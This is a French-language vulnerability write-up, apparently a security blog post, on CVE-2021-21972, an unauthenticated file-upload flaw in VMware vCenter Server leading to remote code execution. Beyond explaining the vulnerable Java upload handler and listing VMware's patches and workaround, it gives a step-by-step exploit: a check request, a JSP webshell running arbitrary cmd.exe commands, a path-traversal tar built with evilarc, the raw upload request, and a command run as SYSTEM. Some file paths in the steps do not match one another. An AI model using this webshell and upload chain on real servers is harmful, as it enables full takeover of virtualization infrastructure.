
[CVE-2021-21972] Téléversement de fichier non autorisé dans le client VMware vSphere conduisant à une exécution de code à distance (RCE)
[CVE-2021-21972] VMware vSphere Client : téléversement de fichier non autorisé menant à l'exécution de code à distance (RCE)
Le client Web vSphere (HTML5) est essentiellement une interface d'administration qui permet de gérer une installation vSphere. Le client vSphere donne à l'administrateur accès aux fonctions clés de vSphere sans avoir besoin d'accéder directement à un serveur vSphere. Il permet aux administrateurs de créer de nouvelles machines virtuelles et de gérer celles qui existent ainsi que leurs ressources. En tant qu'application web multiplateforme, il peut être utilisé sur tous les systèmes d'exploitation pris en charge via les versions prises en charge des différents navigateurs web.
CVE-2021-21972 est une vulnérabilité de téléversement de fichier non autorisé dans vCenter Server qui conduit à une exécution de code à distance sur le serveur distant. Le problème provient d'un manque d'authentification dans le vRealize Operations vCenter Plugin. Elle a reçu un score CVSSv3 critique de 9,8 sur 10,0. Un attaquant distant non authentifié pourrait exploiter cette vulnérabilité en téléversant un fichier spécialement conçu vers un point de terminaison vCenter Server vulnérable et accessible publiquement. Les versions 6.5, 6.7 et 7.0 de VMware vCenter Server sont affectées par cette vulnérabilité. L'exploitation réussie de cette vulnérabilité permettrait à un attaquant d'obtenir des privilèges d'exécution de code à distance (RCE) sans restriction dans le système d'exploitation sous-jacent du vCenter Server. Bien que cette vulnérabilité provienne du vRealize Operations vCenter Plugin, l'avis VMware confirme que ce plugin est included in all default installations de vCenter Server. Cela signifie que le point de terminaison vulnérable est disponible indépendamment de la présence de vRealize Operations.
Dans l'article de blog original ici, la découverte de la vulnérabilité est expliquée de manière aussi détaillée que possible, ainsi que deux chemins distincts pour parvenir à une RCE. Pour les systèmes Windows, un attaquant pourrait téléverser un fichier .jsp spécialement conçu afin d'obtenir les privilèges NT AUTHORITY\SYSTEM sur le système d'exploitation sous-jacent. Pour les systèmes Linux, un attaquant devrait générer et téléverser une clé publique vers le chemin authorized_keys du serveur, puis se connecter au serveur vulnérable via SSH afin d'obtenir les privilèges de l'utilisateur vsphere-ui. (si le service SSH est en cours d'exécution et accessible sur le réseau)
vropsplugin-service.jar est un fichier d'archive Java du plugin vropspluginui et comprend certaines classes ainsi que d'autres fonctions et méthodes associées. La partie vulnérable du code est illustrée ci-dessous. Cet extrait de code appartient à la classe ServicesController.class du contrôleur de vropsplugin-service.jar. Comme vous pouvez le voir dans l'extrait de code ci-dessous, la fonction uploadOvaFile est responsable du point de terminaison/URL /ui/vropspluginui/rest/services/uploadova
Chemin complet de la classe vulnérable : vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
try {
if (code != 200) {
response.sendError(code, "Arguments Missing");
return;
}
wr = response.getWriter();
} catch (IOException e) {
e.printStackTrace();
logger.info("upload Ova Controller Ended With Error");
}
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty())
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
for (String str : entries) {
File currentFile = new File(dir.getPath(), str);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
List<String> result = new ArrayList<String>();
while (entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
continue;
}
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists())
parent.mkdirs();
OutputStream out = new FileOutputStream(curfile);
IOUtils.copy((InputStream)in, out);
out.close();
result.add(entry.getName());
entry = in.getNextTarEntry();
}
in.close();
logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
} catch (Exception e) {
logger.error("Unable to upload OVA file :" + e);
returnStatus = "FAILED";
}
wr.write(returnStatus);
wr.flush();
wr.close();
}
Du point de vue d'un attaquant, le handler de cette classe effectue les actions suivantes
uploadFile avec une requête de méthode POST (ligne 2)uploadFile et écriture du contenu de ce paramètre dans la variable inputStream (ligne 22)/tmp/unicorn_ova_dir + entry.getName() (lignes 42 et 47)Preuve de concept : Pour exploiter cette vulnérabilité, vous pouvez suivre les étapes suivantes
../..//statsreport/uploadedFileName.jspPour vérifier la vulnérabilité, vous pouvez utiliser la requête suivante
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Si la réponse à la requête ci-dessus est similaire aux réponses ci-dessous, cela signifie que l'hôte distant est vulnérable à CVE-2021-21972
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous
{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close
{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}
Ensuite, nous devons créer un fichier .tar conçu. Pour cela, vous pouvez utiliser evilarc. Evilarc est un script Python basique qui vous permet de créer un fichier zip contenant des fichiers avec des caractères de traversée de répertoire dans leur chemin intégré.
Contenu de cmdjsp.jsp, qui est essentiellement un webshell
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Avec la commande suivante, le fichier d'archive .tar conçu sera généré.
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp
Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp
> cat winexpl3.tar
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Ensuite, il suffit de téléverser le fichier .tar sur le serveur à l'aide de la requête suivante
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--
La réponse à la requête ci-dessus est présentée ci-dessous
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7
SUCCESS
Si le code de statut de la réponse à la requête ci-dessus est 200 OK et que le corps de la réponse est SUCCESS, cela signifie que le fichier d'archive .tar a bien été téléversé vers le chemin ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport. En raison du flux de l'application, le serveur extraira le fichier .tar dans le répertoire /statsreport. Après cette étape, il ne vous reste plus qu'à envoyer la requête GET suivante pour obtenir une exécution de code à distance avec les privilèges NT AUTHORITY\SYSTEM.
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Solution de contournement : VMware a corrigé cette vulnérabilité dans les versions 7.0 U1c, 6.7 U3l et 6.5 U3n respectivement. Cependant, si le correctif ne peut pas être installé, pour mettre en œuvre la solution de contournement de CVE-2021-21972 et CVE-2021-21973 sur des déploiements vCenter Server basés sur Windows, procédez comme suit :
C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xmlcompatibility-matrix.xml dans un éditeur de texte<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> dans l'élément pluginsCompatibilityC:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
Administration > Solutions > client-pluginsPour mettre en œuvre la solution de contournement de CVE-2021-21972 et CVE-2021-21973 sur les appliances virtuelles basées sur Linux (vCSA), procédez comme suit :
/etc/vmware/vsphere-ui/compatibility-matrix.xmlcompatibility-matrix.xml dans un éditeur de texte<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> dans l'élément pluginsCompatibility> service-control --stop vsphere-ui
> service-control --start vsphere-ui
Notez que cette vulnérabilité a été découverte par Mikhail Klyuchnikov de Positive Technologies et que l'article de recherche original est disponible ici
Pour plus d'informations, consultez les pages suivantes.
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html